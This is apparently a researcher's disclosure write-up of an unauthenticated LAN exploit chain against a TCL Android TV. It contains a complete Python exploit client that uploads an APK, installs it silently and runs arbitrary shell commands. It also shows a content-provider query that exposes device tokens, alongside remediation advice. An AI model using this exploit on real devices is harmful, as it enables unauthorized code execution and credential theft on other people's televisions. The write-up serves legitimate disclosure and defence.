jf0x3f

$ cat writeup.md / 2026.11.03

From a LAN scan to code execution: tracing an unauthenticated TCL TV command chain

A TCL TV displaying a controlled local proof of Android application-sandbox command execution

Local research · TCL G07 Android TV · TTVSCore 3.0.17 · adjacent-network attack surface · application-level RCE confirmed

This post explains a security assessment from the first network observation to the final post-exploitation check. Everything described here was performed on one researcher-owned TCL TV on a private LAN. The prose omits device identifiers, tokens, and raw handshake data; the downloadable PoC retains its private test target constant for evidence continuity and must be overridden before any authorized reuse.

The short version is serious but precise: two unauthenticated TCL services could be chained to upload an APK, invoke TCL's silent installer, and launch the installed package. That is confirmed adjacent-network remote code execution. The launched code ran as a normal Android application, not as root. A separate exported content provider also exposed device-authentication and licensing records to another local UID.

Finding at a glance

PropertyObserved result
Test scopeOne authorized TCL G07 / Android 11 TV on a private LAN
FirmwareV8-R51AT01-LF1V075, build fingerprint ending AR09:user/release-keys
TTVS componentcom.tcl.ttvs / TTVSCore 3.0.17, running as UID 1000
Network entry pointsTCP 6553 command service and TCP 4332 upload service
AuthenticationNo effective application-layer authentication on the tested path
Confirmed impactSilent installation and launch of a fixed-marker APK from the LAN
Post-exploitation identityOrdinary Android app UID in untrusted_app_27, not root
CVSS estimate8.8 High: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Disclosure statusPrivate TCL report prepared; tested build only, with no public fix confirmed at assessment time

1. Recon: start with the local network surface

The first rule was scope: only the authorized TV and only the local network. A bounded TCP check found several Android TV and casting services. Most were either paired, TLS-protected, or useful only for device setup. Two listeners stood out because they accepted plain TCP:

PortObservationWhy it mattered
6553/tcpTCL TCast command serviceAccepted a length-prefixed control frame and exposed a command dispatcher
4332/tcpTCL audio/file receiverWrote caller-supplied bytes to predictable shared storage
5555/tcpADB over TCPKey authorization was enforced; it was used only for observation and cleanup
8008/tcpCast/DIAL setup endpointReturned local setup metadata without authentication

Finding an open port was not treated as a vulnerability by itself. The next question was what the service trusted. The 6553 service provided the answer quickly: a client could begin with a plaintext frame, and the server's source-IP bookkeeping made the connection appear authorized immediately after it was accepted.

2. Understand the command protocol

The control service uses a simple four-byte big-endian length prefix followed by UTF-8 text. A client starts with the TCL handshake:

159>>0>>0

On the tested firmware, the first frame was parsed as plaintext and the caller-controlled secret type could remain 0. The server also rejected only the loopback address in its early check. More importantly, the accept path added the new socket's source address to the trusted-device map before the later authorization check ran. In effect, the connection authorized itself.

Command 251 then parsed caller-controlled JSON into a ChannelStartBean. The resulting Intent could select an action, package, component, URI, and typed extras. Because the dispatch happened inside the TCL system-UID process, the network peer inherited the authority of that process's intent calls.

The useful mental model is:

unauthenticated TCP client
  -> plaintext handshake
  -> source-IP self-authorization
  -> command 251 JSON
  -> system-UID Intent dispatch
  -> protected TCL installer

3. Find the second half of the chain

The 6553 service alone exposed a powerful intent broker, but the safest proof needed a harmless way to put a package on the TV. The companion TCP 4332 service accepted raw bytes and wrote them in fixed 160-byte blocks to /sdcard/recordAudio.pcm. That created a predictable staging file.

Static tracing connected the two services:

  1. The network client uploads a proof APK whose size is an exact multiple of 160 bytes.
  2. Command 251 sends TCL's own install broadcast with the staged path and package name.
  3. CommonBroadcastReceiver forwards the request to CommonService and InstallManager.
  4. The installer reaches Android's package manager without a vendor-signer allowlist, digest pin, trusted-path restriction, or user confirmation.
  5. A second command 251 starts the newly installed activity.

The root cause is therefore not “a port was open.” It is a trust-boundary failure across several components: unauthenticated network input became a system-UID intent, and that intent reached a silent package-install path that trusted caller-selected package metadata and a caller-selected file.

4. Safe dynamic confirmation

The live proof used a disposable, no-permission APK that did one thing: write the constant marker TCL_RCE_CONFIRMED_FIXED_MARKER_20261101 to its private app storage. It did not open a shell, read credentials, access the microphone, persist across reboot, or change settings.

The proof was run only against the authorized TV. The local APK and the bytes written to the TV's staging file had the same SHA-256:

a60c8f38d0ddeff3eef4bced1e9f33c85536171e28a12e0136f9df5d11413823

The install request returned 251>>2>>0. Android reported installerPackageName=com.tcl.ttvs, and the process log showed the package launching. Reading the private marker independently confirmed that the installed code executed.

Reproducible local proof

The following is the high-level sequence used in the private artifact bundle. It intentionally uses the fixed-marker APK; replacing it with an arbitrary package changes the safety and disclosure boundary.

cd <local TCL research bundle>

# Confirm the fixed-marker artifact and the two local listeners.
shasum -a 256 poc/build/tcl-rce-proof-audio-activity-20261101.apk
nc -vz <TV_IP> 6553
nc -vz <TV_IP> 4332

# Back up /sdcard/recordAudio.pcm and /sdcard/recordAudio.wav
# with authorized observation access before the upload.

node poc/upload_fixed_marker_over_audio.js
node poc/send_fixed_marker.js install-broadcast-audio-direct
# wait for 251>>2>>0
node poc/send_fixed_marker.js run-activity
# wait for 251>>2>>0

# Verify only the harmless marker and package state, then uninstall.
  adb -s <TV_IP>:5555 exec-out run-as com.jf0x3f.tclrceproof \
  cat files/rce_marker.txt
adb -s <TV_IP>:5555 uninstall com.jf0x3f.tclrceproof

After the proof, the original recording files were restored byte-for-byte and the ADB session was disconnected. The raw handshake was not published because it contains device identifiers.

Python PoC artifact

The same authorized chain is also preserved as a single Python 3 standard-library client: tcl-exploit.py. Its SHA-256 is 63ff0141c7467b922fe31bb48f53bb38d5716580ed957dd6890f4a7003027d4b. It supports the individual upload, install, and run stages plus a deploy convenience operation.

python3 tcl-exploit.py --help
python3 tcl-exploit.py --target <TV_IP> run 'uname -a; id'

run assumes the fixed-purpose proof runner is already installed. The deploy operation requires the local proof APK, overwrites the two audio staging files during upload, and therefore requires an authorized backup and restoration step. The script redacts the TCL device handshake in its output and does not imply root; commands execute as the installed Android application UID.

Complete Python PoC source


#!/usr/bin/env python3
"""Authorized TCL terminal-to-TV proof-of-concept client."""

from __future__ import annotations

import argparse
import json
import socket
import struct
import sys
import time
from pathlib import Path
from typing import Any


DEFAULT_TARGET = "192.168.68.60"
CONTROL_PORT = 6553
UPLOAD_PORT = 4332
HANDSHAKE = "159>>0>>0"
PACKAGE = "com.jf0x3f.tclrceidentity"
MAX_COMMAND_BYTES = 1024
BASE_DIR = Path(__file__).resolve().parent
DEFAULT_APK = BASE_DIR / "build" / "tcl-rce-identity-proof.apk"


def frame_text(text: str) -> bytes:
    payload = text.encode("utf-8")
    return struct.pack(">I", len(payload)) + payload


def receive_available(sock: socket.socket, timeout: float = 0.5) -> bytes:
    received = bytearray()
    sock.settimeout(timeout)
    while True:
        try:
            chunk = sock.recv(65536)
        except socket.timeout:
            break
        if not chunk:
            break
        received.extend(chunk)
    return bytes(received)


def parse_framed_responses(raw: bytes) -> list[str]:
    responses: list[str] = []
    offset = 0
    while offset + 4 <= len(raw):
        length = struct.unpack_from(">I", raw, offset)[0]
        end = offset + 4 + length
        if end > len(raw):
            break
        response = raw[offset + 4 : end].decode("utf-8", errors="replace")
        if response.startswith("159>>"):
            response = "159>><redacted-device-handshake>"
        responses.append(response)
        offset = end
    return responses


def emit(record: dict[str, Any]) -> None:
    print(json.dumps(record, separators=(",", ":"), ensure_ascii=False))


def upload_apk(target: str, apk_path: Path) -> dict[str, Any]:
    payload = apk_path.read_bytes()
    if len(payload) % 160 != 0:
        raise ValueError(
            "identity proof APK must be an exact multiple of the TV receiver's "
            "160-byte write block"
        )

    with socket.create_connection((target, CONTROL_PORT), timeout=8.0) as control:
        control.sendall(frame_text(HANDSHAKE))
        time.sleep(0.6)

        with socket.create_connection((target, UPLOAD_PORT), timeout=5.0) as upload:
            upload.sendall(payload)
            try:
                upload.shutdown(socket.SHUT_WR)
            except OSError:
                pass

        time.sleep(1.2)
        raw_response = receive_available(control)

    result = {
        "target": target,
        "controlPort": CONTROL_PORT,
        "uploadPort": UPLOAD_PORT,
        "payloadBytes": len(payload),
        "controlResponseBytes": len(raw_response),
    }
    emit(result)
    return result


def install_action() -> dict[str, Any]:
    return {
        "behavior": "broadcast",
        "action": "com.tcl.appmarket2.action.APPSTORE_INSTALL_APK",
        "package_name": "com.tcl.ttvs",
        "activity_name": (
            "com.tcl.ttvs.versionUpdateApp.appstore.component.broadcast."
            "CommonBroadcastReceiver"
        ),
        "extra_map": [
            {"type": "string", "key": "PackageName", "value": PACKAGE},
            {
                "type": "string",
                "key": "Fileurl",
                "value": "/sdcard/recordAudio.pcm",
            },
            {"type": "boolean", "key": "isDownload", "value": "false"},
            {
                "type": "string",
                "key": "source",
                "value": "authorized-local-python-terminal-command-display",
            },
        ],
    }


def run_action(command: str) -> dict[str, Any]:
    encoded = command.encode("utf-8")
    if not command.strip():
        raise ValueError("command must not be empty")
    if len(encoded) > MAX_COMMAND_BYTES:
        raise ValueError("command must be 1024 UTF-8 bytes or fewer")

    return {
        "behavior": "activity",
        "action": "com.jf0x3f.tclrceidentity.RUN_IDENTITY_PROOF",
        "package_name": PACKAGE,
        "activity_name": f"{PACKAGE}.IdentityActivity",
        "extra_map": [
            {"type": "string", "key": "command", "value": command},
        ],
    }


def send_action(
    target: str, action_name: str, action: dict[str, Any]
) -> dict[str, Any]:
    action_json = json.dumps(action, separators=(",", ":"), ensure_ascii=False)
    command = f"251>>2>>{action_json}"

    with socket.create_connection((target, CONTROL_PORT), timeout=3.0) as sock:
        sock.sendall(frame_text(HANDSHAKE))
        time.sleep(0.3)
        sock.sendall(frame_text(command))
        time.sleep(1.8)
        try:
            sock.shutdown(socket.SHUT_WR)
        except OSError:
            pass
        raw_response = receive_available(sock)

    responses = parse_framed_responses(raw_response)
    result = {
        "target": f"{target}:{CONTROL_PORT}",
        "action": action_name,
        "commandBytes": len(command.encode("utf-8")),
        "responseBytes": len(raw_response),
        "responses": responses,
    }
    emit(result)

    if "251>>2>>0" not in responses:
        raise RuntimeError(
            f"TCL did not confirm {action_name}; expected response 251>>2>>0"
        )
    return result


def build_parser() -> argparse.ArgumentParser:
    examples = """examples:
  python3 exploit.py run 'uname -a; id'
  python3 exploit.py run 'getenforce; id'
  python3 exploit.py upload
  python3 exploit.py install
  python3 exploit.py deploy 'uname -a; id'
"""
    parser = argparse.ArgumentParser(
        description=(
            "Authorized TCL TCP 6553/4332 terminal-to-TV proof client. "
            "Commands execute as the installed Android application UID, not root."
        ),
        epilog=examples,
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "--target",
        default=DEFAULT_TARGET,
        help=f"authorized TV IPv4/hostname (default: {DEFAULT_TARGET})",
    )
    parser.add_argument(
        "--apk",
        type=Path,
        default=DEFAULT_APK,
        help=f"padded proof APK used by upload/deploy (default: {DEFAULT_APK})",
    )

    subparsers = parser.add_subparsers(dest="operation", required=True)
    subparsers.add_parser("upload", help="upload the proof APK through TCP 4332")
    subparsers.add_parser("install", help="invoke TCL's installer through TCP 6553")

    run_parser = subparsers.add_parser(
        "run", help="display one quoted command's output on the TV"
    )
    run_parser.add_argument("command", help="one quoted shell command")

    deploy_parser = subparsers.add_parser(
        "deploy", help="upload, install, wait, then run one quoted command"
    )
    deploy_parser.add_argument("command", help="one quoted shell command")
    deploy_parser.add_argument(
        "--wait",
        type=float,
        default=15.0,
        help="seconds to wait after installation (default: 15)",
    )
    return parser


def main() -> int:
    args = build_parser().parse_args()
    try:
        if args.operation == "upload":
            upload_apk(args.target, args.apk)
        elif args.operation == "install":
            send_action(args.target, "install", install_action())
        elif args.operation == "run":
            send_action(args.target, "run", run_action(args.command))
        elif args.operation == "deploy":
            upload_apk(args.target, args.apk)
            send_action(args.target, "install", install_action())
            time.sleep(args.wait)
            send_action(args.target, "run", run_action(args.command))
        else:
            raise AssertionError(f"unexpected operation: {args.operation}")
    except (OSError, ValueError, RuntimeError) as error:
        print(f"error: {error}", file=sys.stderr)
        return 1
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

5. Post-exploitation: what the foothold could and could not do

Once the fixed-marker activity was running, the assessment checked the execution boundary with the least invasive identity commands. The current local runner can display:

python3 exploit.py run 'uname -a; id'

The observed result was the Android 11 kernel 4.14.187+ and an identity similar to:

uid=10091(u0_a91) ... context=u:r:untrusted_app_27:s0:...

This confirms command execution inside the installed application's sandbox. It does not establish root. The assessment also found no working su or Magisk installation, adb root was rejected on the production build, and SELinux remained enforcing.

That distinction matters for impact. An attacker does not need root to abuse the normal permissions and capabilities available to a newly installed Android application, but the result is not evidence of a kernel exploit or UID 0 execution. No privilege-escalation exploit was run.

6. Privacy finding: an exported provider exposed authentication data

While tracing the Android package surface, a separate provider was found at content://com.tcl.xian.StartandroidService.MyContentProvider. It was exported without read or write permission. Its devicetoken table included fields named deviceid, activekey, didtoken, token, huanid, license_type, and license_data.

A read-only cross-UID query returned a row. Values are intentionally not reproduced here:

content query --uri \
  content://com.tcl.xian.StartandroidService.MyContentProvider/devicetoken

Row: 0 huanid=<redacted>, didtoken=<redacted>, token=<redacted>, ...

The validity of those tokens against any external TCL service was not tested. The confirmed privacy issue is the access-control failure: an unrelated local app could read persistent device, account, activation, and licensing material. The provider also exposed update and delete methods, creating a separate integrity and availability risk.

7. Additional candidates and hardening observations

Two other issues were recorded with narrower confidence:

  • Path traversal candidate: the exported com.tcl.bi.param provider accepted a caller-controlled path under a normal-level permission and did not canonicalize the final path before reading it. The path was statically confirmed but not dynamically exercised with a test APK.
  • Unbounded frame allocation: the 6553 parser allocated a byte array from an attacker-controlled signed length before enforcing a protocol maximum. Repeated malformed frames could create memory pressure in a system-UID process.

The Cast setup endpoint also disclosed local setup metadata, and network ADB was enabled but still required an accepted key. Those observations are useful hardening priorities, not additional unauthenticated RCE claims.

Remediation

The safest fix is to remove or loopback-bind the legacy services. If remote control must remain available, the protocol needs cryptographic, per-device pairing before any client is added to authorization state.

  • Never treat source IP as identity and never add a peer to trusted state before authentication.
  • Replace generic JSON-to-Intent dispatch with a small allowlist of actions, components, extras, and URI schemes.
  • Remove package installation from the remote-control process. If installation is required, accept only vendor-signed packages with a pinned certificate, verified digest, trusted path, replay protection, and explicit user approval.
  • Authenticate TCP 4332, use unpredictable private staging paths, and enforce strict size and file-type limits.
  • Make the device-auth provider non-exported or protect every read and write with a TCL signature-level permission; rotate exposed credentials after remediation.
  • Canonicalize and contain every provider path, or replace paths with opaque allowlisted keys.
  • Reject oversized length-prefixed frames before allocation and rate-limit malformed clients.
  • Disable network ADB and revoke debugging authorizations when they are not needed.

Scope, limits, and responsible handling

This was a local-only assessment of one TCL G07 build. Only that tested firmware and TTVSCore 3.0.17 are confirmed; the work does not generalize an affected-version range to every TCL TV. The fixed-marker chain was dynamically confirmed, but root access, kernel privilege escalation, credential use, surveillance, persistence, and production-service impact were not tested.

The evidence package was prepared for private disclosure to TCL. No public CVE or vendor fix for this exact chain had been confirmed at assessment time. The publication version omits raw device identifiers, token values, unredacted handshakes, signing keys, and arbitrary-payload code. Readers should reproduce only on hardware they own or are explicitly authorized to test.

References